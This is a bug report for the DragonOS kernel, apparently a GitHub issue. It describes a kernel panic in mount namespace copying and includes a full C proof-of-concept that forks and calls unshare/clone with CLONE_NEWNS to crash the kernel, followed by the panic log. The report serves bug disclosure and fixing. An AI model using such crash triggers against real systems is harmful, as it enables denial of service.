A kernel panic occurs in mnt.rs:251 when creating new mount namespaces via unshare(CLONE_NEWNS) or clone(CLONE_NEWNS). During the namespace copy operation, the kernel fails to find a mount path by inode number via get_mount_path_by_ino(), triggering a panic with the message "mount_path not found".
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
/*
* PoC for DragonOS kernel panic in copy_mnt_ns function
*
* The crash occurs in the kernel when copying a mount namespace during
* clone(CLONE_NEWNS) or unshare(CLONE_NEWNS) operations. The panic happens
* when the kernel tries to look up a mount path by inode number but fails,
* causing an unwrap() to panic.
*
* This PoC attempts to trigger the condition by:
* 1. Creating multiple mount points
* 2. Creating a new mount namespace while mounts are being modified
* 3. The race condition or inconsistency in mount tracking may trigger the panic
*
* Note: This may not reliably trigger the crash as it depends on internal
* kernel state and timing. The actual vulnerability requires specific conditions
* in the mount namespace data structures.
*/
int create_mount_points() {
// Create multiple mount points to increase complexity
if (mkdir("/tmp/mnt1", 0755) == -1 && errno != EEXIST) {
perror("mkdir /tmp/mnt1");
return -1;
}
if (mkdir("/tmp/mnt2", 0755) == -1 && errno != EEXIST) {
perror("mkdir /tmp/mnt2");
return -1;
}
// Create some bind mounts to populate mount table
if (mount("/tmp", "/tmp/mnt1", "none", MS_BIND, NULL) == -1) {
perror("mount /tmp/mnt1");
return -1;
}
if (mount("/proc", "/tmp/mnt2", "none", MS_BIND, NULL) == -1) {
perror("mount /tmp/mnt2");
return -1;
}
return 0;
}
void cleanup_mounts() {
umount("/tmp/mnt1");
umount("/tmp/mnt2");
rmdir("/tmp/mnt1");
rmdir("/tmp/mnt2");
}
int trigger_namespace_copy() {
pid_t pid;
int status;
// Create multiple processes to increase chance of hitting race condition
for (int i = 0; i < 10; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
continue;
}
if (pid == 0) {
// Child process - try to create new mount namespace
// This should trigger copy_mnt_ns in the kernel
if (unshare(CLONE_NEWNS) == -1) {
perror("unshare CLONE_NEWNS");
exit(1);
}
// In the new namespace, perform some mount operations
// This might expose inconsistencies in mount tracking
if (mount("none", "/tmp", "tmpfs", 0, NULL) == -1) {
perror("mount tmpfs");
}
// Try to create another nested namespace
pid_t nested_pid = fork();
if (nested_pid == 0) {
// Grandchild process - another namespace copy
if (unshare(CLONE_NEWNS) == -1) {
perror("nested unshare");
}
exit(0);
} else if (nested_pid > 0) {
waitpid(nested_pid, &status, 0);
}
exit(0);
}
}
// Wait for all children
while (wait(&status) > 0) {
// Continue waiting
}
return 0;
}
int main() {
printf("DragonOS mount namespace panic PoC\n");
printf("Attempting to trigger kernel panic in copy_mnt_ns...\n");
// Set up mount points
if (create_mount_points() == -1) {
printf("Failed to create mount points\n");
return 1;
}
// Try to trigger the vulnerability
trigger_namespace_copy();
// Alternative approach using clone with CLONE_NEWNS
printf("Trying clone(CLONE_NEWNS) approach...\n");
void *stack = malloc(1024 * 1024);
if (!stack) {
perror("malloc stack");
cleanup_mounts();
return 1;
}
pid_t pid = clone(trigger_namespace_copy,
(void*)((char*)stack + 1024 * 1024),
CLONE_NEWNS | SIGCHLD,
NULL);
if (pid == -1) {
perror("clone CLONE_NEWNS");
free(stack);
} else {
waitpid(pid, NULL, 0);
free(stack);
}
cleanup_mounts();
printf("PoC completed. If the kernel is vulnerable, it should have panicked.\n");
printf("If not, the system should still be running.\n");
return 0;
}
root@dragonos:/bin# ./ex1956___home__yuchen__dragon__DragonOS__kernel__s
DragonOS mount namespace panic PoC
Attempting to trigger kernel panic in copy_mnt_ns...
[ ERROR ] (src/debug/panic/mod.rs:43) Kernel Panic Occurred. raw_pid: 23
Location:
File: src/process/namespace/mnt.rs
Line: 251, Column: 26
Message:
mount_path not found
Rust Panic Backtrace:
[1] function:_Unwind_Backtrace() (+) 0051 address:0xffff8000004db083
Current PCB:
ProcessControlBlock { pid: AtomicRawPid { container: 23 }, tgid: RawPid(23), thread_pid: RwLock { lock: 0, data: UnsafeCell { .. } }, pid_links: [PidLink { pid: RwLock { lock: 0, data: UnsafeCell { .. } } }, PidLink { pid: RwLock}
Describe the bug
A kernel panic occurs in mnt.rs:251 when creating new mount namespaces via unshare(CLONE_NEWNS) or clone(CLONE_NEWNS). During the namespace copy operation, the kernel fails to find a mount path by inode number via get_mount_path_by_ino(), triggering a panic with the message "mount_path not found".
DragonOS/kernel/src/process/namespace/mnt.rs
Line 251 in 6fc4e37
To Reproduce
Environment
Logs